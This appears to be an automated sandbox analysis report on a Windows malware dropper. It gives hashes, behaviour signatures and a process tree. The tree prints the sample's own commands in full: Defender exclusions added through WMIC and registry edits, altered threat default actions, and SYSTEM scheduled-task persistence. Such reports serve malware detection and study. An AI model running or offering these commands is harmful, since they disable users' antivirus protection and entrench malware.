Analysis

  • max time kernel
    91s
  • max time network
    93s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-04-2024 17:00

General

  • Target

    d4e6b02474cfe7ced5d87fa102e90e3d419adc2985567c65438f8debac9fa833.exe

  • Size

    6.3MB

  • MD5

    0cf48faa3cba7cfc078ff3d838f7d86d

  • SHA1

    edd38d6e966e365b290ff2ce88a432e17d1bb4eb

  • SHA256

    d4e6b02474cfe7ced5d87fa102e90e3d419adc2985567c65438f8debac9fa833

  • SHA512

    53e00faae2d1ee0d163f78f56270fd4c21243b0a64611ea4ef220af6066510f9d75b6556b968ddbad67c220bc1eeb201c1b80e18215a054c376c48b068ce153e

  • SSDEEP

    196608:91Oc73gCvR7IDbay+twm5R45TN+Bg8OPcDAjVUOE:3Occ4ly+tdUM+8FEjDE

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d4e6b02474cfe7ced5d87fa102e90e3d419adc2985567c65438f8debac9fa833.exe
    "C:\Users\Admin\AppData\Local\Temp\d4e6b02474cfe7ced5d87fa102e90e3d419adc2985567c65438f8debac9fa833.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1116
    • C:\Users\Admin\AppData\Local\Temp\7zS3DF3.tmp\Install.exe
      .\Install.exe /PdidDDD "385118" /S
      2⤵
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Enumerates system info in registry
      • Suspicious use of WriteProcessMemory
      PID:3208
      • C:\Windows\SysWOW64\forfiles.exe
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4624
        • C:\Windows\SysWOW64\cmd.exe
          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2136
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:544
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2468
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /TN "bEcIFlOHxifjjBuFoU" /SC once /ST 17:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\mONaQiMaftsWsACiF\XGCbIkdqGYWeuOB\vAelVis.exe\" 1V /LPsite_idWmK 385118 /S" /V1 /F
        3⤵
        • Drops file in Windows directory
        • Creates scheduled task(s)
        PID:3952
  • C:\Users\Admin\AppData\Local\Temp\mONaQiMaftsWsACiF\XGCbIkdqGYWeuOB\vAelVis.exe
    C:\Users\Admin\AppData\Local\Temp\mONaQiMaftsWsACiF\XGCbIkdqGYWeuOB\vAelVis.exe 1V /LPsite_idWmK 385118 /S
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Modifies data under HKEY_USERS
    • Suspicious use of WriteProcessMemory
    PID:4456
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3052
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2512
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          4⤵
            PID:4696
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:3712
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:4768
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:3204
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                  PID:2168
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                  3⤵
                    PID:1612
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                    3⤵
                      PID:3528
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:2024
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:4168
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:2476
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:1212
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4452
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:1372
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:2144
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:5008
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:2456
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:4296
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:4544
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:3976
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2028
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:32
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:2500
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:3612
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:3668
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:4516
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:2316
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4860
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4940
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CxyVDACQkgMCyKCFbBR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\CxyVDACQkgMCyKCFbBR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IgAQuzzvNCUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\IgAQuzzvNCUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YrliKKkuhgWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YrliKKkuhgWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\orRvbnhdU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\orRvbnhdU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ycfBUKIjHxeOC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ycfBUKIjHxeOC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\qgjSpVnHOWlNdqVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\qgjSpVnHOWlNdqVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\mONaQiMaftsWsACiF\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\mONaQiMaftsWsACiF\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\lwSRcZKonRlOofsg\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\lwSRcZKonRlOofsg\" /t REG_DWORD /d 0 /reg:64;"
                                                              2⤵
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4928
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CxyVDACQkgMCyKCFbBR" /t REG_DWORD /d 0 /reg:32
                                                                3⤵
                                                                  PID:1288
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CxyVDACQkgMCyKCFbBR" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:4292
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\CxyVDACQkgMCyKCFbBR" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:2552
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IgAQuzzvNCUn" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:2568
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\IgAQuzzvNCUn" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:4376
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YrliKKkuhgWU2" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:3500
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\YrliKKkuhgWU2" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:5032
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\orRvbnhdU" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:2496
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\orRvbnhdU" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:1252
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ycfBUKIjHxeOC" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:2644
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ycfBUKIjHxeOC" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:2852
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\qgjSpVnHOWlNdqVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:1388
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\qgjSpVnHOWlNdqVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:2396
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:1764
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1660
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:1912
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:3472
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\mONaQiMaftsWsACiF /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:2348
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\mONaQiMaftsWsACiF /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3508
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\lwSRcZKonRlOofsg /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:5016
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\lwSRcZKonRlOofsg /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:1184
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
